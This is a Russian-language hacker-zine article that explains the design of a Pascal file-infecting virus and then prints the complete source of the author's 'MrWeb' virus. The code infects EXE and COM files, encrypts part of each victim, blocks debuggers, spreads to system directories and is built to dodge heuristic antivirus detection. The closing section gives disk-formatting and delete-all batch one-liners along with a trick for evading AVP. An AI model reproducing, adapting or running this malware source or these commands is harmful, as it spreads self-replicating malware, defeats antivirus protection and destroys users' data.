Вирус на Паскале. ( "Это вирусы?" Часть III. ) Автор не несет никакой ответственности за эту информацию и последствия ее практического использования. Запрещается использование данной статьи в каких-либо коммерческих целях. Все что тут написано - написано только в познавательных целях. Практически все вирусы на Паскале заражают файлы в начало, вирус переписывает начало заражаемого файла в его конец, а сам копируется в освободившееся место. Достоинство такого алгоритма - всяческие вакцины и самопроверки на 100% бессильны, недостаток (главный) - вирус не может правильно работать с дискет защищенных от записи, CD-дисков и т.п., но этот недостаток устраним, но авторы вирусов почему-то не считают нужным его устранять, а это сделать довольно просто (рассмотренный здесь вирус не имеет этого недостатка). Стандартный вирус на Паскале должен выполнить следующие пункты: -------------------------------------------------------------------------------- (вирусу известен свой размер = X) 1. скопировать свое тело в буфер bufer1. Размер его равен X; 2. произвести поиск файлов для заражения; 3. при нахождении файла проверить его на уже зараженность; 4. если файл-жертва не был заражен, то: 4.1. скопировать в буфер bufer2 начало файла-жертвы. Размер = X; 4.2. поместить содержимое буфера bifer2 в конец файла-жертвы; 4.3. поместить содержимое bufer1 в начало жертвы; 5. если найден еще файл, то перейти к пункту 3; 6. запустить своего носителя: 6.1. скопировать конец своего файла-носителя (размером = X) в буфер bufer2; 6.2. поместить содержимое bufer2 в начало файла; 6.3. обрезать последние X байт файла. 6.4. произвести запуск своего носителя (т.е. того файла из которого стартовал); 6.5. заразить своего носителя в обратном порядке (4.2 и 4.3). Свой первый вирус я создал не имея никакой информации о них, посмотрите, ради интереса, какие пункты он выполнял: (вирусу известен свой размер = X) 1. пока размер файла vir1.tmp < X+1 копировать файл из которого стартовал в файл vir1.tmp иначе копировать в vir2.tmp; (после этого пункта в текущем каталоге появляются 2 файла: vir1.tmp с вирусом и vir2.tmp с жертвой без вируса) 2. искать файлы для заражения; 3. проверить его на уже зараженность (после компиляции вируса в EXE-файл менял у него первые 2 байта "MZ" местами, на работу вируса это не влияло, а т.к. почти во всех программах первый байт "M", то для проверки на зараженность нужно было проверить лишь первый байт (read(f,ch) ) 3. если нашел, то с помощью команды copy "склеить" файл vir1.tmp и жертву; 4. если найден еще файл, то перейти к п.3; 5. запустить своего носителя, а именно файл vir2.tmp; 6. удалить файлы vir1.tmp и vir2.tmp. Паскаль я почти не знал, но справка у него просто замечательная...:). Ладно, это было лирическое отступление, вернемся к общепринятому алгоритму. Даже если вы создали вирус, который выполнят все пункты стандартного вируса, на практике он будет выглядеть весьма бледно, т.к. вирус должен иметь всяческие навороты, необходимые для существования в современных операционных системах. Например, вирус не должен заражать файлы NewEXE, также он не должен заражать различные драйвера, например, emm386.exe, иначе будет весьма плачевный результат. Рассмотрим в качестве примера довольно навороченный вирус MrWeb. Этот вирус заражает EXE-файлы и COM-файлы, если они являются на самом деле EXE-файлами (кроме COMMAND.COM). NewEXE не заражаются. Есть возможность работы зараженного файла с диска Read Only. Есть защита от трассировки. Для усложнения лечения вирус шифрует кусок жертвы. Заражение происходит в текущем каталоге, если вирус был запущен с дискеты, то заражаются еще файлы в каталоге c:\windows\command, так же если носитель является антивирусом, архиватором или другой программой, которая работает с параметрами, то вирус ищет жертвы во всех каталогах, которые указаны носителю. Такой способ заражения позволяет нерезидентному вирусу быть довольно актуальным и в наше время. И еще, вы можете обратить внимание, что процедура поиска жертв имеет довольно необычную форму, это делается чтобы один (на мой взгляд лучший) антивирус не детектировал вирус эвристическим анализатором. И еще про метку, обычно метка дописывается в конец жертвы или имеется где-то в теле вируса, в данном вирусе ее, как таковой, нет. Для проверки на зараженность этот вирус сверяет 500ый байт из своего тела с 500м байтом найденного файла, если они одинаковы, то файл уже был заражен. -------------------------------------------------------------------------------- {$M 2048, 0, 0} {$i-} Uses dos; Const RV=8064; { размер вируса } VSEGO=3; { максимальное количество файлов для заражения за один раз } Var BufFile, TeloVir : array[1..rv] of CHAR; newExe,FileCom : array[1..2] of char; f : file; DirInfo,DiryAttr : SearchRec; MyAttr : Word; Attr : Word; Time : LongInt; MyTime : LongInt; katal,cmdline,ItIsI:string; mySize:longint; i2,kol,i:integer; stle:byte; P5: PathStr; D5: DirStr; N5: NameStr; E5: ExtStr; O1H , O3H , Br : Pointer; {$F+} procedure ReBoot; Interrupt; begin { А это для того, чтобы нехорошие дяди } InLine($EA/ { не запускали Debug t } $00/ $00/ $FF/ $FF); end; {$F-} {$F+} procedure BreakOff; Interrupt; { + } begin { Invisible Magic Words! } end; {$F-} Procedure CWP; { проверка дискеты на read only} Var leftfile:string; ft:text; begin { Write Protect } FindFirst(itisi , anyfile , DiryAttr); { Получаем полную инфор. } MyAttr:=DiryAttr.Attr; { запомним свои атрибуты } MyTime:=DiryAttr.Time; { запомним свое время модификации } Assign(f , itisI[1]+itisI[2]+'\'+#$FF); { Invisible file ! } ReWrite(f); Erase(f); If IOResult <> 0 Then {ну если так, то будем работать из левака} begin leftfile:='c:\'+diryattr.name; { имя левака } SwapVectors; exec(GetEnv('COMSPEC'),'/c copy '+itisi+' '+leftfile+' >nul'); SwapVectors; itisi:=leftfile; { рабочий файл - левый файл } Assign(ft , itisi); { проверить все ли хорошо } reset(ft); if ioresult<>0 then halt else close(ft); { если нет, то выход } stle:=13; { stle - это датчик, что работаем из левака } end; end; Procedure Install; { Тело в дело.... ой... т.е. в буфер } begin assign(f,itisi); setfattr(f,archive); { убрать атрибуты чтоб не мешали } reset(f,1); if ioresult<>0 then { если не возможно открыть себя } begin halt; end; mysize:=filesize(f); { размер файла из которого стартовал } blockread(f,telovir,rv); { считываем тело вируса в буфер } close(f); IF ParamCount <> 0 Then Begin For I:=1 To ParamCount Do CmdLine:=CmdLine + ' ' + ParamStr(I); { считываем параметры } End; { в командной строке } end; Procedure xorit; { шифровка жертвы } var i:integer; c:char; begin for i:=1 to 1111 do { размер шифровки можно менять (не больше размера вируса) } begin c:=buffile[i]; c:=chr(ord© xor 31502); { ключ XOR можно изменять } buffile[i]:=c; end; end; Procedure Zaraza; { процедура заражения } label propusk, fuck; Begin Time:=DirInfo.Time; { Запоминаем дату/время и атрибуты файла } Attr:=DirInfo.Attr; assign(f,katal+dirinfo.name); {setfattr(f,archive); {чтобы вирус заражал файлы с атрибутом "только чтение" оживите эту команду } reset(f,1); if ioresult<>0 then goto fuck; { если произошла ошибка } if filesize(f) if dirinfo.name[(length(dirinfo.name))]='M' then { если COM-файл } begin seek(f,0); blockread(f,filecom,2); { если COM-файл не является EXE-файлом, то пропустить нафиг } if (filecom[1]<>'M') and (filecom[2]<>'Z') then goto propusk; end; seek(f,1024); blockread(f,newexe,2); { Проверить на windowsис "NE" } if newexe='NE' then goto propusk; seek(f,78); blockread(f,newexe,2); { Проверить на windowsис "Th..." } if (upcase(newexe[1])='T') and (upcase(newexe[2])='H') then goto propusk; seek(f,80); blockread(f,newexe,2); { Проверить на windowsис "Th..." } if (upcase(newexe[1])='T') and (upcase(newexe[2])='H') then goto propusk; seek(f,0); blockread(f,BufFile,rv); if buffile[500]=telovir[500] then goto propusk; { был заражен? пропустим } xorit; { шифровка жертвы } seek(f,filesize(f)); blockwrite(f,BufFile,rv); seek(f,0); blockwrite(f,TeloVir,rv); kol:=kol+1; { увеличить счетчик зараженных файлов } propusk: SetFTime(f , Time); { восстанавливаем дату/время и } SetFAttr(f , Attr); { атрибуты файла } close(f); fuck: end; Procedure PoiskFiles(ss:string; ext:string); { поиск жерт для заражения } label notinf; begin FindFirst(ss+'*'+EXT, Archive, DirInfo); while (DosError = 0) and (kol begin if dirinfo.name='EMM386.EXE' then goto notInf; { эти файлы не трогать } if dirinfo.name='RTM.EXE' then goto notInf; if dirinfo.name='NCMAIN.EXE' then goto notInf; if dirinfo.name='START.EXE' then goto notInf; if dirinfo.name='SETSOUND.EXE' then goto notInf; if dirinfo.name='SMARTDRV.EXE' then goto notInf; if dirinfo.name='DOS4GW.EXE' then goto notInf; if dirinfo.name='SETUP.EXE' then goto notInf; if dirinfo.name='MSCDEX.EXE' then goto notInf; if dirinfo.name='COMMAND.COM' then goto notInf; katal:=ss; Zaraza; { ПРОцедура заражения } notinf: FindNext(DirInfo); end; end; Procedure Start; { процедура запуска носителя } label fuck,fuck2; begin assign(f, itisi); { лечим } setfattr(f,archive); reset(f,1); if ioresult<>0 then goto fuck2; { если ошибка произошла } seek(f,filesize(f)-rv); blockread(f,BufFile,rv); xorit; { расшифровать носителя } seek(f,0); blockwrite(f,buffile,rv); if ioresult<>0 then goto fuck2; seek(f,filesize(f)-rv); truncate(f); { сделать обрезание } SetFTime(f , myTime); { восстанавливаем дату/время и } SetFAttr(f , myAttr); { атрибуты файла } close(f); swapvectors; exec(itisI,cmdline); { запускаем носителя } swapvectors; assign(f,itisI); { заразить в обратном порядке } setfattr(f,archive); reset(f,1); if ioresult<>0 then goto fuck2; seek(f,0); blockread(f,BufFile,rv); if buffile[500]=telovir[500] then goto fuck; { был заражен? пропустим } xorit; { зашифровать носителя } seek(f,filesize(f)); blockwrite(f,BufFile,rv); seek(f,0); blockwrite(f,TeloVir,rv); fuck: SetFTime(f , myTime); { восстанавливаем дату/время и } SetFAttr(f , myAttr); { атрибуты файла } close(f); fuck2: end; begin { ******** MAIN ************* } GetIntVec($01 , O1H); { Подготавливаем систему } SetIntVec($01 , @ReBoot); { к принятию: } GetIntVec($03 , O3H); { Вешаем антитрассировщик } SetIntVec($03 , @ReBoot); { на int 1h и int 3h } GetIntVec($1B , Br); { заменяем вектор ^C } SetIntVec($1B , @BreakOff); SetCBreak(False); { и отключаем ^C } ItIsI:=paramstr(0); { файл из которого стартовал } CWP; {получить атрибуты и проверить диск на "только чтение" } Install; { вирус в буфер, считать параметры командной строки } kol:=0; { обнулить счетчик зараженных файлов } PoiskFiles('','.EXE'); {заразить *.EXE в текущем каталоге } PoiskFiles('','.COM'); {заразить *.COM в текущем каталоге } {заразим побольше если запустили с дискеты} if upcase(itisi[1])='A' then begin kol:=0; poiskfiles('c:\wInDoWS\cOmMaNd\','.EXE'); { это понятно? } end; {попытка заражать с помощью антивирусов и архиваторов и т.п.} for i2:=1 to paramcount do begin p5:=paramstr(i2); FSplit(P5, D5, N5, E5); if d5<>'' then { если носителю был указан какой-то каталог, то поискать } begin { в нем жертвы для заражения } kol:=0; poiskfiles(d5,'.EXE'); poiskfiles(d5,'.COM'); end; end; {конец попытки} SetIntVec($01 , O1H); { Восстанавливаем захваченные векторы } SetIntVec($03 , O3H); SetIntVec($1B , Br); if mysize>rv then Start; { запустить носителя, если он имеется } writeln('### MrWeb ###'); {Hi... my name is...} if stle=13 then { если работали из левого файла, то: } begin assign(f,itisI); setfattr(f,archive); erase(f); { удалить левый файл } end; halt(dosexitcode); { выйти, причем код возврата сохраняется } end. -------------------------------------------------------------------------------- Чтобы размер вируса был поменьше, вирус можно упаковать каким-нибудь упаковщиком. В начале исходника есть константа RV, она обязательно должна быть равна размеру вируса после компиляции. * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * Теперь несколько слов о BAT-троянах и об антивирусе AVP. Сейчас AVP даже такие строки как "echo y | format c:" или "echo y | del c:\*.*" считает троянами. Вроде бы у ламеров-"шутников" теперь могут начаться тяжелые дни, но... Если добавить всего лишь один байт в такой троян, то AVP затыкается, вот смотрите: "@echo y | format c:" ; "@echo y | del c:\*.*" и т.п. Собака - друг ламера -------------------------------------------------------------------------------- Автор: MrWeb E-mail: mrweb05@userline.ru
|